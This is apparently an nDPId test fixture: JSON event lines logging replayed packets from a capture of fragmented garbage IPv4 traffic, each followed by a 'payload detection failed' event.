+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386312,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386397,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386408,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386419,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386450,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386472,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386503,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386526,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386537,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386549,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386561,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386572,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386594,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386619,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386630,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386667,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386713,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386724,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386734,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386756,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":386780,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 